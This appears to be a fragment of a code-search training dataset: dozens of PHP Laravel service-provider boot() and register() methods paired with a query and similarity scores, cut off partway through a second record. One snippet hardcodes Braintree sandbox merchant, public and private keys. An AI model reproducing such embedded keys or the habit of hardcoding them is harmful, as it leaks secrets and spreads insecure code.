'::config.enabled')){\n Livewire::component($this->vendorNamespace . '::login-form', LoginForm::class);\n $this->loadRoutes();\n $this->loadViews();\n $this->loadMiddlewares();\n $this->loadTranslations();\n }\n }", "public function boot()\n {\n $source = dirname(__DIR__, 3) . '/config/config.php';\n\n if ($this->app instanceof LaravelApplication && $this->app->runningInConsole()) {\n $this->publishes([$source => config_path('dubbo_cli.php')]);\n } elseif ($this->app instanceof LumenApplication) {\n $this->app->configure('dubbo_cli');\n }\n\n $this->mergeConfigFrom($source, 'dubbo_cli');\n }", "public function boot()\n {\n $this->package('domain/app');\n\n $this->setApplication();\n }", "public function boot()\n {\n $this->setUpConfig();\n $this->setUpConsoleCommands();\n }", "public function boot()\n {\n $this->strapRoutes();\n $this->strapViews();\n $this->strapMigrations();\n $this->strapCommands();\n\n $this->registerPolicies();\n }", "public function boot()\n {\n $this->app->singleton('LaraCurlService', function ($app) {\n return new LaraCurlService();\n });\n\n $this->loadRoutesFrom(__DIR__.'/routes/web.php');\n }", "public function boot()\n {\n $providers = $this->make('config')->get('app.console_providers', array());\n foreach ($providers as $provider) {\n $provider = $this->make($provider);\n if ($provider && method_exists($provider, 'boot')) {\n $provider->boot();\n }\n }\n }", "public function boot()\n {\n foreach (glob(app_path('/Api/config/*.php')) as $path) {\n $path = realpath($path);\n $this->mergeConfigFrom($path, basename($path, '.php'));\n }\n\n // 引入自定义函数\n foreach (glob(app_path('/Helpers/*.php')) as $helper) {\n require_once $helper;\n }\n // 引入 api 版本路由\n $this->loadRoutesFrom(app_path('/Api/Routes/base.php'));\n\n }", "public function bootstrap()\n {\n if (!$this->app->hasBeenBootstrapped()) {\n $this->app->bootstrapWith($this->bootstrappers());\n }\n\n //$this->app->loadDeferredProviders();\n\n if (!$this->commandsLoaded) {\n //$this->commands();\n\n $this->commandsLoaded = true;\n }\n }", "protected function boot()\n\t{\n\t\tforeach ($this->serviceProviders as $provider)\n\t\t{\n\t\t\t$provider->boot($this);\n\t\t}\n\n\t\t$this->booted = true;\n\t}", "public function boot()\n {\n $this->setupConfig();\n //register rotating daily monolog provider\n $this->app->register(MonologProvider::class);\n $this->app->register(CircuitBreakerServiceProvider::class);\n $this->app->register(CurlServiceProvider::class);\n }", "public function boot(): void\n {\n if ($this->booted) {\n return;\n }\n\n array_walk($this->services, function ($service) {\n $this->bootServices($service);\n });\n\n $this->booted = true;\n }", "public static function boot() {\n\t\tstatic::container()->boot();\n\t}", "public function boot()\n {\n include_once('ComposerDependancies\\Global.php');\n //---------------------------------------------\n include_once('ComposerDependancies\\League.php');\n include_once('ComposerDependancies\\Team.php');\n include_once('ComposerDependancies\\Matchup.php');\n include_once('ComposerDependancies\\Player.php');\n include_once('ComposerDependancies\\Trade.php');\n include_once('ComposerDependancies\\Draft.php');\n include_once('ComposerDependancies\\Message.php');\n include_once('ComposerDependancies\\Poll.php');\n include_once('ComposerDependancies\\Chat.php');\n include_once('ComposerDependancies\\Rule.php');\n\n \n include_once('ComposerDependancies\\Admin\\Users.php');\n\n }", "public function boot()\n {\n if ($this->app->runningInConsole()) {\n if ($this->app instanceof LaravelApplication) {\n $this->publishes([\n __DIR__.'/../config/state-machine.php' => config_path('state-machine.php'),\n ], 'config');\n } elseif ($this->app instanceof LumenApplication) {\n $this->app->configure('state-machine');\n }\n }\n }", "public function boot()\n {\n $this->bootEvents();\n\n $this->bootPublishes();\n\n $this->bootTypes();\n\n $this->bootSchemas();\n\n $this->bootRouter();\n\n $this->bootViews();\n \n $this->bootSecurity();\n }", "public function boot()\n {\n //\n Configuration::environment(\"sandbox\");\n Configuration::merchantId(\"cmpss9trsxsr4538\");\n Configuration::publicKey(\"zy3x5mb5jwkcrxgr\");\n Configuration::privateKey(\"4d63c8b2c340daaa353be453b46f6ac2\");\n\n\n $modules = Directory::listDirectories(app_path('Modules'));\n\n foreach ($modules as $module)\n {\n $routesPath = app_path('Modules/' . $module . '/routes.php');\n $viewsPath = app_path('Modules/' . $module . '/Views');\n\n if (file_exists($routesPath))\n {\n require $routesPath;\n }\n\n if (file_exists($viewsPath))\n {\n $this->app->view->addLocation($viewsPath);\n }\n }\n }", "public function boot()\n {\n resolve(EngineManager::class)->extend('elastic', function () {\n return new ElasticScoutEngine(\n ElasticBuilder::create()\n ->setHosts(config('scout.elastic.hosts'))\n ->build()\n );\n });\n }", "public function boot(): void\n {\n try {\n // Just check if we have DB connection! This is to avoid\n // exceptions on new projects before configuring database options\n // @TODO: refcator the whole accessareas retrieval to be file-based, instead of db based\n DB::connection()->getPdo();\n\n if (Schema::hasTable(config('cortex.foundation.tables.accessareas'))) {\n // Register accessareas into service container, early before booting any module service providers!\n $this->app->singleton('accessareas', fn () => app('cortex.foundation.accessarea')->where('is_active', true)->get());\n }\n } catch (Exception $e) {\n // Be quiet! Do not do or say anything!!\n }\n\n $this->bootstrapModules();\n }", "public function boot()\n {\n $this->app->register(UserServiceProvider::class);\n $this->app->register(DashboardServiceProvider::class);\n $this->app->register(CoreServiceProvider::class);\n $this->app->register(InstitutionalVideoServiceProvider::class);\n $this->app->register(InstitutionalServiceProvider::class);\n $this->app->register(TrainingServiceProvider::class);\n $this->app->register(CompanyServiceProvider::class);\n $this->app->register(LearningUnitServiceProvider::class);\n $this->app->register(PublicationServiceProvider::class);\n }", "public function boot()\n {\n Schema::defaultStringLength(191);\n\n $this->app->bindMethod([SendMailPasswordReset::class, 'handle'], function ($job, $app) {\n return $job->handle($app->make(MailService::class));\n });\n\n $this->app->bindMethod([ClearTokenPasswordReset::class, 'handle'], function ($job, $app) {\n return $job->handle($app->make(PasswordResetRepository::class));\n });\n\n $this->app->bind(AuthService::class, function ($app) {\n return new AuthService($app->make(HttpService::class));\n });\n }", "public function boot()\n {\n $this->makeRepositories();\n }", "public function boot(): void\n {\n $this->loadMiddlewares();\n }", "public function boot()\n {\n $this->app->when(ChatAPIChannel::class)\n ->needs(ChatAPI::class)\n ->give(function () {\n $config = config('services.chatapi');\n return new ChatAPI(\n $config['token'],\n $config['api_url']\n );\n });\n }", "public function boot() {\r\n\t\t$hosting_service = HostResolver::get_host_service();\r\n\r\n\t\tif ( ! empty( $hosting_service ) ) {\r\n\t\t\t$this->provides[] = $hosting_service;\r\n\t\t}\r\n\t}", "public function boot()\n {\n if ($this->app->runningInConsole()) {\n require(__DIR__ . '/../routes/console.php');\n } else {\n // Menus for BPM are done through middleware. \n Route::pushMiddlewareToGroup('web', AddToMenus::class);\n \n // Assigning to the web middleware will ensure all other middleware assigned to 'web'\n // will execute. If you wish to extend the user interface, you'll use the web middleware\n Route::middleware('web')\n ->namespace($this->namespace)\n ->group(__DIR__ . '/../routes/web.php');\n \n // If you wish to extend the api, be sure to utilize the api middleware. In your api \n // Routes file, you should prefix your routes with api/1.0\n Route::middleware('api')\n ->namespace($this->namespace)\n ->prefix('api/1.0')\n ->group(__DIR__ . '/../routes/api.php');\n \n Event::listen(ScreenBuilderStarting::class, function($event) {\n $event->manager->addScript(mix('js/screen-builder-extend.js', 'vendor/api-connector'));\n $event->manager->addScript(mix('js/screen-renderer-extend.js', 'vendor/api-connector'));\n });\n }\n\n // load migrations\n $this->loadMigrationsFrom(__DIR__.'/../database/migrations');\n\n // Load our views\n $this->loadViewsFrom(__DIR__.'/../resources/views/', 'api-connector');\n\n // Load our translations\n $this->loadTranslationsFrom(__DIR__.'/../lang', 'api-connector');\n\n $this->publishes([\n __DIR__.'/../public' => public_path('vendor/api-connector'),\n ], 'api-connector');\n\n $this->publishes([\n __DIR__ . '/../database/seeds' => database_path('seeds'),\n ], 'api-connector');\n\n $this->app['events']->listen(PackageEvent::class, PackageListener::class);\n }", "public function boot()\n {\n if ($this->app->runningInConsole()) {\n $this->bindCommands();\n $this->registerCommands();\n $this->app->bind(InstallerContract::class, Installer::class);\n\n $this->publishes([\n __DIR__.'/../config/exceptionlive.php' => base_path('config/exceptionlive.php'),\n ], 'config');\n }\n\n $this->registerMacros();\n }", "public function boot(){\r\n $this->app->configure('sdk');\r\n $this->publishes([\r\n __DIR__.'/../../resources/config/sdk.php' => config_path('sdk.php')\r\n ]);\r\n $this->mergeConfigFrom(__DIR__.'/../../resources/config/sdk.php','sdk');\r\n\r\n $api = config('sdk.api');\r\n foreach($api as $key => $value){\r\n $this->app->singleton($key,$value);\r\n }\r\n }", "public function boot()\n {\n if ($this->app->runningInConsole()) {\n $this->commands([\n EnvironmentCommand::class,\n EventGenerateCommand::class,\n EventMakeCommand::class,\n JobMakeCommand::class,\n KeyGenerateCommand::class,\n MailMakeCommand::class,\n ModelMakeCommand::class,\n NotificationMakeCommand::class,\n PolicyMakeCommand::class,\n ProviderMakeCommand::class,\n RequestMakeCommand::class,\n ResourceMakeCommand::class,\n RuleMakeCommand::class,\n ServeCommand::class,\n StorageLinkCommand::class,\n TestMakeCommand::class,\n ]);\n }\n }", "public function boot()\n {\n $this->app->bind(WeatherInterface::class, OpenWeatherMapService::class);\n $this->app->bind(OrderRepositoryInterface::class, EloquentOrderRepository::class);\n $this->app->bind(NotifyInterface::class, EmailNotifyService::class);\n }", "public function boot()\n {\n $this->app->bind(DateService::class,DateServiceImpl::class);\n $this->app->bind(DisasterEventQueryBuilder::class,DisasterEventQueryBuilderImpl::class);\n $this->app->bind(MedicalFacilityQueryBuilder::class,MedicalFacilityQueryBuilderImpl::class);\n $this->app->bind(RefugeCampQueryBuilder::class,RefugeCampQueryBuilderImpl::class);\n $this->app->bind(VictimQueryBuilder::class,VictimQueryBuilderImpl::class);\n $this->app->bind(VillageQueryBuilder::class,VillageQueryBuilderImpl::class);\n }", "public function boot()\n {\n\t\tif ( $this->app->runningInConsole() ) {\n\t\t\t$this->loadMigrationsFrom(__DIR__.'/migrations');\n\n//\t\t\t$this->publishes([\n//\t\t\t\t__DIR__.'/config/scheduler.php' => config_path('scheduler.php'),\n//\t\t\t\t__DIR__.'/console/CronTasksList.php' => app_path('Console/CronTasksList.php'),\n//\t\t\t\t__DIR__.'/views' => resource_path('views/vendor/scheduler'),\n//\t\t\t]);\n\n//\t\t\tapp('Revolta77\\ScheduleMonitor\\Conntroller\\CreateController')->index();\n\n//\t\t\t$this->commands([\n//\t\t\t\tConsole\\Commands\\CreateController::class,\n//\t\t\t]);\n\t\t}\n\t\t$this->loadRoutesFrom(__DIR__.'/routes/web.php');\n }", "public function boot()\n {\n $this->bootPackages();\n }", "public function boot(): void\n {\n if ($this->app->runningInConsole()) {\n $this->commands($this->load(__DIR__.'/../Console', Command::class));\n }\n }", "public function boot(): void\n {\n $this->publishes(\n [\n __DIR__ . '/../config/laravel_entity_services.php' =>\n $this->app->make('path.config') . DIRECTORY_SEPARATOR . 'laravel_entity_services.php',\n ],\n 'laravel_repositories'\n );\n $this->mergeConfigFrom(__DIR__ . '/../config/laravel_entity_services.php', 'laravel_entity_services');\n\n $this->registerCustomBindings();\n }", "public function boot()\n {\n // DEFAULT STRING LENGTH\n Schema::defaultStringLength(191);\n\n // PASSPORT\n Passport::routes(function (RouteRegistrar $router)\n {\n $router->forAccessTokens();\n });\n Passport::tokensExpireIn(now()->addDays(1));\n\n // SERVICES, REPOSITORIES, CONTRACTS BINDING\n $this->app->bind('App\\Contracts\\IUser', 'App\\Repositories\\UserRepository');\n $this->app->bind('App\\Contracts\\IUserType', 'App\\Repositories\\UserTypeRepository');\n $this->app->bind('App\\Contracts\\IApiToken', 'App\\Services\\ApiTokenService');\n $this->app->bind('App\\Contracts\\IModule', 'App\\Repositories\\ModuleRepository');\n $this->app->bind('App\\Contracts\\IModuleAction', 'App\\Repositories\\ModuleActionRepository');\n }", "public function bootstrap(): void\n {\n $globalConfigurationBuilder = (new GlobalConfigurationBuilder())->withEnvironmentVariables()\n ->withPhpFileConfigurationSource(__DIR__ . '/../config.php');\n (new BootstrapperCollection())->addMany([\n new DotEnvBootstrapper(__DIR__ . '/../.env'),\n new ConfigurationBootstrapper($globalConfigurationBuilder),\n new GlobalExceptionHandlerBootstrapper($this->container)\n ])->bootstrapAll();\n }", "public function boot()\n {\n // $this->loadTranslationsFrom(__DIR__.'/../resources/lang', 'deniskisel');\n // $this->loadViewsFrom(__DIR__.'/../resources/views', 'deniskisel');\n// $this->loadMigrationsFrom(__DIR__ . '/../database/migrations');\n // $this->loadRoutesFrom(__DIR__.'/routes.php');\n\n // Publishing is only necessary when using the CLI.\n if ($this->app->runningInConsole()) {\n $this->bootForConsole();\n }\n }", "public function boot()\n {\n $this->bootingDomain();\n\n $this->registerCommands();\n $this->registerListeners();\n $this->registerPolicies();\n $this->registerRoutes();\n $this->registerBladeComponents();\n $this->registerLivewireComponents();\n $this->registerSpotlightCommands();\n\n $this->bootedDomain();\n }", "public function boot()\n {\n if ($this->app->runningInConsole()) {\n $this->registerMigrations();\n $this->registerMigrationFolder();\n $this->registerConfig();\n }\n }", "public function boot()\n {\n $this->bootModulesMenu();\n $this->bootSkinComposer();\n $this->bootCustomBladeDirectives();\n }", "public function boot(): void\n {\n $this->app->bind(Telegram::class, static function () {\n return new Telegram(\n config('services.telegram-bot-api.token'),\n new HttpClient()\n );\n });\n }", "public function boot()\n {\n\n if (! config('app.installed')) {\n return;\n }\n\n $this->loadRoutesFrom(__DIR__ . '/Routes/admin.php');\n $this->loadRoutesFrom(__DIR__ . '/Routes/public.php');\n\n $this->loadMigrationsFrom(__DIR__ . '/Database/Migrations');\n\n// $this->loadViewsFrom(__DIR__ . '/Resources/Views', 'portfolio');\n\n $this->loadTranslationsFrom(__DIR__ . '/Resources/Lang/', 'contact');\n\n //Add menu to admin panel\n $this->adminMenu();\n\n }", "public function boot()\n {\n if (! config('app.installed')) {\n return;\n }\n\n $this->app['config']->set([\n 'scout' => [\n 'driver' => setting('search_engine', 'mysql'),\n 'algolia' => [\n 'id' => setting('algolia_app_id'),\n 'secret' => setting('algolia_secret'),\n ],\n ],\n ]);\n }", "protected function bootServiceProviders()\n {\n foreach($this->activeProviders as $provider)\n {\n // check if the service provider has a boot method.\n if (method_exists($provider, 'boot')) {\n $provider->boot();\n }\n }\n }", "public function boot(): void\n {\n // $this->loadTranslationsFrom(__DIR__.'/../resources/lang', 'imc');\n $this->loadMigrationsFrom(__DIR__.'/../database/migrations');\n $this->loadViewsFrom(__DIR__.'/../resources/views', 'imc');\n $this->registerPackageRoutes();\n\n // Publishing is only necessary when using the CLI.\n if ($this->app->runningInConsole()) {\n $this->bootForConsole();\n }\n }", "public function boot()\n {\n // Larapex Livewire\n $this->mergeConfigFrom(__DIR__ . '/../configs/larapex-livewire.php', 'larapex-livewire');\n\n $this->loadViewsFrom(__DIR__ . '/../resources/views', 'larapex-livewire');\n\n $this->registerBladeDirectives();\n\n if ($this->app->runningInConsole()) {\n $this->registerCommands();\n $this->publishResources();\n }\n }", "public function boot()\n {\n // Bootstrap code here.\n $this->app->singleton(L9SmsApiChannel::class, function () {\n $config = config('l9smsapi');\n if (empty($config['token']) || empty($config['service'])) {\n throw new \\Exception('L9SmsApi missing token and service in config');\n }\n\n return new L9SmsApiChannel($config['token'], $config['service']);\n });\n\n if ($this->app->runningInConsole()) {\n $this->publishes([\n __DIR__.'/../config/l9smsapi.php' => config_path('l9smsapi.php'),\n ], 'config');\n }\n }", "public function boot()\n\t{\n\t\t$this->bindRepositories();\n\t}", "public function boot()\n {\n if (!$this->app->runningInConsole()) {\n return;\n }\n\n $this->commands([\n ListenCommand::class,\n InstallCommand::class,\n EventsListCommand::class,\n ObserverMakeCommand::class,\n ]);\n\n foreach ($this->listen as $event => $listeners) {\n foreach ($listeners as $listener) {\n RabbitEvents::listen($event, $listener);\n }\n }\n }", "public function boot()\n {\n if ($this->app->runningInConsole()) {\n $this->commands([\n MultiAuthInstallCommand::class,\n ]);\n }\n }", "public function boot() {\n\n\t\t$this->registerProviders();\n\t\t$this->bootProviders();\n\t\t$this->registerProxies();\n\t}", "public function boot(): void\n {\n // routes\n $this->loadRoutes();\n // assets\n $this->loadAssets('assets');\n // configuration\n $this->loadConfig('configs');\n // views\n $this->loadViews('views');\n // view extends\n $this->extendViews();\n // translations\n $this->loadTranslates('views');\n // adminer\n $this->loadAdminer('adminer');\n // commands\n $this->loadCommands();\n // gates\n $this->registerGates();\n // listeners\n $this->registerListeners();\n // settings\n $this->applySettings();\n }", "public function boot()\n {\n $this->setupFacades();\n $this->setupViews();\n $this->setupBlades();\n }", "public function boot()\n {\n\n $this->app->translate_manager->addTranslateProvider(TranslateMenu::class);\n\n\n\n $this->loadRoutesFrom(__DIR__ . '/../routes/api.php');\n $this->loadMigrationsFrom(__DIR__ . '/../migrations/');\n\n\n\n }", "public function boot()\n {\n if ($this->app->runningInConsole()) {\n $this->publishes([\n __DIR__ . '/../config/larkeauth-rbac-model.conf' => config_path('larkeauth-rbac-model.conf.larkeauth'),\n __DIR__ . '/../config/larkeauth.php' => config_path('larkeauth.php.larkeauth')\n ], 'larke-auth-config');\n\n $this->commands([\n Commands\\Install::class,\n Commands\\GroupAdd::class,\n Commands\\PolicyAdd::class,\n Commands\\RoleAssign::class,\n ]);\n }\n\n $this->mergeConfigFrom(__DIR__ . '/../config/larkeauth.php', 'larkeauth');\n\n $this->bootObserver();\n }", "public function boot(): void\n {\n $this->app\n ->when(RocketChatWebhookChannel::class)\n ->needs(RocketChat::class)\n ->give(function () {\n return new RocketChat(\n new HttpClient(),\n Config::get('services.rocketchat.url'),\n Config::get('services.rocketchat.token'),\n Config::get('services.rocketchat.channel')\n );\n });\n }", "public function boot()\n {\n if ($this->booted) {\n return;\n }\n\n $this->app->registerConfiguredProvidersInRequest();\n\n $this->fireAppCallbacks($this->bootingCallbacks);\n\n /** array_walk\n * If when a provider booting, it reg some other providers,\n * then the new providers added to $this->serviceProviders\n * then array_walk will loop the new ones and boot them. // pingpong/modules 2.0 use this feature\n */\n array_walk($this->serviceProviders, function ($p) {\n $this->bootProvider($p);\n });\n\n $this->booted = true;\n\n $this->fireAppCallbacks($this->bootedCallbacks);\n }", "public function boot()\n {\n $this->loadMigrationsFrom(__DIR__ . '/../database/migrations');\n\n if ($this->app->runningInConsole()) {\n $this->bootForConsole();\n }\n }", "public function boot()\n\t{\n\t\t$this->package('atlantis/admin');\n\n\t\t#i: Set the locale\n\t\t$this->setLocale();\n\n $this->registerServiceAdminValidator();\n $this->registerServiceAdminFactory();\n $this->registerServiceAdminDataTable();\n $this->registerServiceModules();\n\n\t\t#i: Include our filters, view composers, and routes\n\t\tinclude __DIR__.'/../../filters.php';\n\t\tinclude __DIR__.'/../../views.php';\n\t\tinclude __DIR__.'/../../routes.php';\n\n\t\t$this->app['events']->fire('admin.ready');\n\t}", "public function boot()\n {\n $this->app->booted(function () {\n $this->callMethodIfExists('jobs');\n });\n }", "public function boot()\n {\n $this->bootSetTimeLocale();\n $this->bootBladeHotelRole();\n $this->bootBladeHotelGuest();\n $this->bootBladeIcon();\n }", "public function boot(): void\n {\n $this->registerRoutes();\n $this->registerResources();\n $this->registerMixins();\n\n if ($this->app->runningInConsole()) {\n $this->offerPublishing();\n $this->registerMigrations();\n }\n }", "public function boot()\n {\n $this->dispatch(new SetCoreConnection());\n $this->dispatch(new ConfigureCommandBus());\n $this->dispatch(new ConfigureTranslator());\n $this->dispatch(new LoadStreamsConfiguration());\n\n $this->dispatch(new InitializeApplication());\n $this->dispatch(new AutoloadEntryModels());\n $this->dispatch(new AddAssetNamespaces());\n $this->dispatch(new AddImageNamespaces());\n $this->dispatch(new AddViewNamespaces());\n $this->dispatch(new AddTwigExtensions());\n $this->dispatch(new RegisterAddons());\n }", "public function boot(): void\n {\n $this->loadViews();\n $this->loadTranslations();\n\n if ($this->app->runningInConsole()) {\n $this->publishMultipleConfig();\n $this->publishViews(false);\n $this->publishTranslations(false);\n }\n }", "public function boot()\n {\n $this->bootForConsole();\n $this->loadRoutesFrom(__DIR__ . '/routes/web.php');\n $this->loadViewsFrom(__DIR__ . '/./../resources/views', 'bakerysoft');\n }", "public function boot()\n {\n $this->app->booted(function () {\n $this->defineRoutes();\n });\n $this->defineResources();\n $this->registerDependencies();\n }", "public function boot()\n {\n $this->app->bind(CustomersRepositoryInterface::class, CustomersRepository::class);\n $this->app->bind(CountryToCodeMapperInterface::class, CountryToCodeMapper::class);\n $this->app->bind(PhoneNumbersValidatorInterface::class, PhoneNumbersRegexValidator::class);\n $this->app->bind(CustomersFilterServiceInterface::class, CustomersFilterService::class);\n $this->app->bind(CacheInterface::class, CacheAdapter::class);\n\n }", "public function boot()\n {\n if ($this->app->runningInConsole()) {\n $this->publishes([$this->configPath() => config_path('oauth.php')], 'oauth');\n }\n\n app()->bind(ClientToken::class, function () {\n return new ClientToken();\n });\n\n app()->bind(TokenParser::class, function () {\n return new TokenParser(\n app()->get(Request::class)\n );\n });\n\n app()->bind(OAuthClient::class, function () {\n return new OAuthClient(\n app()->get(Request::class),\n app()->get(ClientToken::class)\n );\n });\n\n app()->bind(AccountService::class, function () {\n return new AccountService(app()->get(OAuthClient::class));\n });\n }", "public function boot()\n {\n Client::observe(ClientObserver::class);\n $this->app->bind(ClientRepositoryInterface::class, function ($app) {\n return new ClientRepository(Client::class);\n });\n $this->app->bind(UserRepositoryInterface::class, function ($app) {\n return new UserRepository(User::class);\n });\n }", "public function boot()\n {\n $this->setupFacades(); \n //$this->setupConfigs(); \n }", "public function boot()\n {\n if ($this->app->runningInConsole()) {\n //\n }\n\n $this->loadRoutesFrom(__DIR__ . '/routes.php');\n }", "public function boot()\n {\n $path = __DIR__.'/../..';\n\n $this->package('clumsy/cms', 'clumsy', $path);\n\n $this->registerAuthRoutes();\n $this->registerBackEndRoutes();\n\n require $path.'/helpers.php';\n require $path.'/errors.php';\n require $path.'/filters.php';\n\n if ($this->app->runningInConsole()) {\n $this->app->make('Clumsy\\CMS\\Clumsy');\n }\n\n }", "public function boot()\n {\n $this->mergeConfigFrom(__DIR__ . '/../../config/bs4.php', 'bs4');\n $this->loadViewsFrom(__DIR__ . '/../../resources/views', 'bs');\n $this->loadTranslationsFrom(__DIR__ . '/../../resources/lang', 'bs');\n\n if ($this->app->runningInConsole())\n {\n $this->publishes([\n __DIR__ . '/../../resources/views' => resource_path('views/vendor/bs'),\n ], 'views');\n\n $this->publishes([\n __DIR__ . '/../../resources/lang' => resource_path('lang/vendor/bs'),\n ], 'lang');\n\n $this->publishes([\n __DIR__ . '/../../config' => config_path(),\n ], 'config');\n }\n }", "public function boot()\n {\n $this->client = new HttpClient([\n 'base_uri' => 'https://api.ipfinder.io/v1/',\n 'headers' => [\n 'User-Agent' => 'Laravel-GeoIP-Torann',\n ],\n 'query' => [\n 'token' => $this->config('key'),\n ],\n ]);\n }", "public function boot()\n {\n if ($this->app->runningInConsole()) {\n $this->commands([\n Check::class,\n Clear::class,\n Fix::class,\n Fresh::class,\n Foo::class,\n Ide::class,\n MakeDatabase::class,\n Ping::class,\n Version::class,\n ]);\n }\n }", "public function boot()\n {\n $app = $this->app;\n\n if (!$app->runningInConsole()) {\n return;\n }\n\n $source = realpath(__DIR__ . '/config/config.php');\n\n if (class_exists('Illuminate\\Foundation\\Application', false)) {\n // L5\n $this->publishes([$source => config_path('sniffer-rules.php')]);\n $this->mergeConfigFrom($source, 'sniffer-rules');\n } elseif (class_exists('Laravel\\Lumen\\Application', false)) {\n // Lumen\n $app->configure('sniffer-rules');\n $this->mergeConfigFrom($source, 'sniffer-rules');\n } else {\n // L4\n $this->package('chefsplate/sniffer-rules', null, __DIR__);\n }\n }", "public function boot()\r\n\t{\r\n\t\t$this->package('estey/hipsupport');\r\n\t\t$this->registerHipSupport();\r\n\t\t$this->registerHipSupportOnlineCommand();\r\n\t\t$this->registerHipSupportOfflineCommand();\r\n\r\n\t\t$this->registerCommands();\r\n\t}", "public function boot()\n {\n if ($this->app->runningInConsole()) {\n $this->commands([\n ControllerMakeCommand::class,\n ServiceMakeCommand::class,\n RepositoryMakeCommand::class,\n ModelMakeCommand::class,\n RequestRuleMakeCommand::class,\n ]);\n }\n }", "public function boot() {\n $srcDir = __DIR__ . '/../';\n \n $this->package('baseline/baseline', 'baseline', $srcDir);\n \n include $srcDir . 'Http/routes.php';\n include $srcDir . 'Http/filters.php';\n }", "public function boot()\n {\n $this->app->bind('App\\Services\\ProviderAccountService', function() {\n return new ProviderAccountService;\n });\n }", "public function boot()\n {\n $this->loadViewsFrom(__DIR__ . '/resources/views', 'Counters');\n\n $this->loadTranslationsFrom(__DIR__ . '/resources/lang', 'Counters');\n\n\n //To load migration files directly from the package\n// $this->loadMigrationsFrom(__DIR__ . '/../database/migrations');\n\n\n $this->app->booted(function () {\n $loader = AliasLoader::getInstance();\n $loader->alias('Counters', Counters::class);\n\n });\n\n $this->publishes([\n __DIR__ . '/../config/counter.php' => config_path('counter.php'),\n ], 'config');\n\n\n\n $this->publishes([\n __DIR__.'/../database/migrations/0000_00_00_000000_create_counters_tables.php' => $this->app->databasePath().\"/migrations/0000_00_00_000000_create_counters_tables.php\",\n ], 'migrations');\n\n\n if ($this->app->runningInConsole()) {\n $this->commands([\\Maher\\Counters\\Commands\\MakeCounter::class]);\n }\n\n\n }", "public function boot(Application $app)\n {\n\n }", "public function boot()\n {\n }", "public function boot()\n {\n }", "public function boot()\n {\n }", "public function boot()\n {\n }", "public function boot()\n {\n }" ]
[ "0.7344842", "0.7212776", "0.7207748", "0.7123287", "0.7109729", "0.70822036", "0.7076881", "0.70718396", "0.7051853", "0.7025475", "0.7011949", "0.70043486", "0.6955807", "0.69322443", "0.69319373", "0.69272774", "0.6911386", "0.69069713", "0.6898877", "0.6898432", "0.6896597", "0.6889767", "0.6886577", "0.6880688", "0.6875815", "0.6874972", "0.68696195", "0.6864291", "0.6864246", "0.68631536", "0.68599164", "0.6857919", "0.685537", "0.68552583", "0.68522125", "0.6839775", "0.683261", "0.6831196", "0.68272495", "0.68250644", "0.68241394", "0.68181944", "0.68132496", "0.68117976", "0.6811785", "0.6808445", "0.68066794", "0.680175", "0.68005246", "0.67994386", "0.67969066", "0.67912513", "0.67884964", "0.678574", "0.678558", "0.6783794", "0.67782456", "0.6773669", "0.6766658", "0.6766194", "0.67617613", "0.67611295", "0.6758855", "0.6756636", "0.6754412", "0.6751842", "0.6747439", "0.6744991", "0.67441815", "0.6743506", "0.67400324", "0.6739403", "0.6738356", "0.6738189", "0.6731425", "0.6730627", "0.67293024", "0.6726232", "0.67261064", "0.67192256", "0.6716676", "0.6716229", "0.671442", "0.6713091", "0.6702467", "0.66990495", "0.66913867", "0.6689953", "0.66861963", "0.66840357", "0.66826946", "0.6681548", "0.6680455", "0.6676407", "0.6675645", "0.6672465", "0.66722375", "0.66722375", "0.66722375", "0.66722375", "0.66722375" ]
0.0
-1
Register any application services.
public function register() { // }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function register()\n {\n $this->registerServices();\n }", "public function register()\n {\n $this->registerAssets();\n $this->registerServices();\n }", "public function register()\n\t{\n\n $this->registerUserService();\n $this->registerCountryService();\n $this->registerMetaService();\n $this->registerLabelService();\n $this->registerTypeService();\n $this->registerGroupeService();\n $this->registerActiviteService();\n $this->registerRiiinglinkService();\n $this->registerInviteService();\n $this->registerTagService();\n $this->registerAuthService();\n $this->registerChangeService();\n $this->registerRevisionService();\n $this->registerUploadService();\n //$this->registerTransformerService();\n }", "public function register()\n { \n // User Repository\n $this->app->bind('App\\Contracts\\Repository\\User', 'App\\Repositories\\User');\n \n // JWT Token Repository\n $this->app->bind('App\\Contracts\\Repository\\JSONWebToken', 'App\\Repositories\\JSONWebToken');\n \n $this->registerClearSettleApiLogin();\n \n $this->registerClearSettleApiClients();\n \n \n }", "public function register()\n {\n $this->registerRequestHandler();\n $this->registerAuthorizationService();\n $this->registerServices();\n }", "public function register()\n {\n $this->app->bind(\n PegawaiServiceContract::class,\n PegawaiService::class \n );\n\n $this->app->bind(\n RiwayatPendidikanServiceContract::class,\n RiwayatPendidikanService::class \n );\n\n $this->app->bind(\n ProductionHouseServiceContract::class,\n ProductionHouseService::class\n );\n\n $this->app->bind(\n MovieServiceContract::class,\n MovieService::class\n );\n\n $this->app->bind(\n PangkatServiceContract::class,\n PangkatService::class \n );\n\n }", "public function register()\n {\n // $this->app->bind('AuthService', AuthService::class);\n }", "public function register()\n {\n $this->registerServiceProviders();\n $this->registerSettingsService();\n $this->registerHelpers();\n }", "public function register()\n {\n $this->registerAccountService();\n\n $this->registerCurrentAccount();\n\n //$this->registerMenuService();\n\n //$this->registerReplyService();\n }", "public function register()\n {\n $this->registerRepositories();\n }", "public function register()\n {\n $this->registerFacades();\n $this->registerRespository();\n }", "public function register()\n {\n $this->app->bind('App\\Services\\UserService');\n $this->app->bind('App\\Services\\PostService');\n $this->app->bind('App\\Services\\MyPickService');\n $this->app->bind('App\\Services\\FacebookService');\n $this->app->bind('App\\Services\\LikeService');\n }", "public function register()\n {\n // service 由各个应用在 AppServiceProvider 单独绑定对应实现\n }", "public function register()\n {\n //\n if ($this->app->environment() !== 'production') {\n $this->app->register(\\Barryvdh\\LaravelIdeHelper\\IdeHelperServiceProvider::class);\n }\n\n\n\n\n $this->app->register(ResponseMacroServiceProvider::class);\n $this->app->register(TwitterServiceProvider::class);\n }", "public function register()\n {\n $this->registerGraphQL();\n\n $this->registerConsole();\n }", "public function register()\n {\n $this->app->register(RouteServiceProvider::class);\n\n $this->registerCommand();\n $this->registerSchedule();\n $this->registerDev();\n\n }", "public function register()\n {\n $this->mergeConfigFrom(\n __DIR__.'/../config/telescope-error-service-client.php', 'telescope-error-service-client'\n );\n\n $this->registerStorageDriver();\n\n $this->commands([\n Console\\InstallCommand::class,\n Console\\PublishCommand::class,\n ]);\n }", "public function 